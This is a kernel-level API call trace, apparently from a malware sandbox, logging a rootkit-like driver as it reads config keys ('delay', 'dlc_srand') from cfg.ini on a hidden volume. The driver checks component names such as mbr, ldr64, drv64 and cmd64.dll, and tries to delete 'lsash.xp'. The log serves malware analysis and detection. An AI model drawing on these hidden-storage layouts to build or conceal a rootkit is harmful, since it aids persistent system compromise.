[0117.513] KeWaitForMutexObject () returned 0x0 [0117.513] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.513] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.513] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.513] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.513] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.513] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1b90 [0117.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.513] KeLeaveCriticalRegion () [0117.513] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.513] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.513] KeEnterCriticalRegion () [0117.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.513] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.513] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.513] KeLeaveCriticalRegion () [0117.513] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.513] KeEnterCriticalRegion () [0117.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.514] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.514] IdePortDispatch () returned 0x103 [0117.515] KeWaitForMutexObject () returned 0x0 [0117.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.515] KeLeaveCriticalRegion () [0117.515] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.515] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.515] KeEnterCriticalRegion () [0117.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.515] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbf000 [0117.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.515] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.515] IdePortDispatch () returned 0x103 [0117.515] KeWaitForMutexObject () returned 0x0 [0117.515] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.515] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.515] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.515] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.515] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.515] IdePortDispatch () returned 0x103 [0117.515] KeWaitForMutexObject () returned 0x0 [0117.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.516] KeLeaveCriticalRegion () [0117.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.516] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.516] KeEnterCriticalRegion () [0117.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.516] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.516] KeLeaveCriticalRegion () [0117.516] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.516] KeEnterCriticalRegion () [0117.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.516] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.516] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039dae10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.516] KeLeaveCriticalRegion () [0117.516] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.516] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.516] KeEnterCriticalRegion () [0117.516] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.516] ExFreePoolWithTag (P=0xfffffa80039c1b90, Tag=0x0) [0117.516] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.517] KeLeaveCriticalRegion () [0117.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.517] ReleaseMutex (hMutex=0xf0) returned 1 [0117.517] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.517] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.517] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.517] KeEnterCriticalRegion () [0117.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.517] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.517] IdePortDispatch () returned 0x103 [0117.517] KeWaitForMutexObject () returned 0x0 [0117.517] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.517] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.517] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.517] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.517] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.517] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1340 [0117.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.517] KeLeaveCriticalRegion () [0117.517] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.517] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.517] KeEnterCriticalRegion () [0117.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.517] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.517] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.517] KeLeaveCriticalRegion () [0117.517] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.517] KeEnterCriticalRegion () [0117.517] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.517] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.517] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.517] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.517] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.517] IdePortDispatch () returned 0x103 [0117.518] KeWaitForMutexObject () returned 0x0 [0117.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.518] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.518] KeLeaveCriticalRegion () [0117.518] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.518] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.518] KeEnterCriticalRegion () [0117.518] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.518] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc0000 [0117.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.518] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.518] IdePortDispatch () returned 0x103 [0117.518] KeWaitForMutexObject () returned 0x0 [0117.518] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.518] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.518] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.518] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.518] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.518] IdePortDispatch () returned 0x103 [0117.518] KeWaitForMutexObject () returned 0x0 [0117.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.519] KeLeaveCriticalRegion () [0117.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.519] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.519] KeEnterCriticalRegion () [0117.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.519] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.519] KeLeaveCriticalRegion () [0117.519] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.519] KeEnterCriticalRegion () [0117.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.519] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.519] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.519] KeLeaveCriticalRegion () [0117.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.519] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.519] KeEnterCriticalRegion () [0117.519] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.519] ExFreePoolWithTag (P=0xfffffa80039c1340, Tag=0x0) [0117.519] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.519] KeLeaveCriticalRegion () [0117.519] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.519] ReleaseMutex (hMutex=0xf0) returned 1 [0117.519] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.519] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.520] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.520] KeEnterCriticalRegion () [0117.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.520] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.520] IdePortDispatch () returned 0x103 [0117.520] KeWaitForMutexObject () returned 0x0 [0117.520] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.520] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.520] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.520] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.520] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.520] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cf600 [0117.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.520] KeLeaveCriticalRegion () [0117.520] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.520] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.520] KeEnterCriticalRegion () [0117.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.520] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.520] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.520] KeLeaveCriticalRegion () [0117.520] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.520] KeEnterCriticalRegion () [0117.520] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.520] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.520] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.520] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.520] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.520] IdePortDispatch () returned 0x103 [0117.520] KeWaitForMutexObject () returned 0x0 [0117.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.521] KeLeaveCriticalRegion () [0117.521] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.521] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.521] KeEnterCriticalRegion () [0117.521] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.521] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc1000 [0117.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.521] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.521] IdePortDispatch () returned 0x103 [0117.521] KeWaitForMutexObject () returned 0x0 [0117.521] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.521] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.521] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.521] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.521] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.521] IdePortDispatch () returned 0x103 [0117.521] KeWaitForMutexObject () returned 0x0 [0117.521] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.521] KeLeaveCriticalRegion () [0117.521] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.522] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.522] KeEnterCriticalRegion () [0117.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.522] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.522] KeLeaveCriticalRegion () [0117.522] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.522] KeEnterCriticalRegion () [0117.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.522] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.522] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d97d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.522] KeLeaveCriticalRegion () [0117.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.522] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.522] KeEnterCriticalRegion () [0117.522] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.522] ExFreePoolWithTag (P=0xfffffa80039cf600, Tag=0x0) [0117.522] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.522] KeLeaveCriticalRegion () [0117.522] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.522] ReleaseMutex (hMutex=0xf0) returned 1 [0117.522] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.523] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.523] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.523] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.523] KeEnterCriticalRegion () [0117.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.523] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.523] IdePortDispatch () returned 0x103 [0117.523] KeWaitForMutexObject () returned 0x0 [0117.523] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.523] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.523] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.523] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.523] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.523] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.523] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.523] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.523] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.523] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.523] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.523] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.523] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.523] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.523] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.523] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.523] KeLeaveCriticalRegion () [0117.523] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.523] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.523] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.523] KeEnterCriticalRegion () [0117.523] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.523] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.523] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.523] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.523] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.523] IdePortDispatch () returned 0x103 [0117.524] KeWaitForMutexObject () returned 0x0 [0117.524] 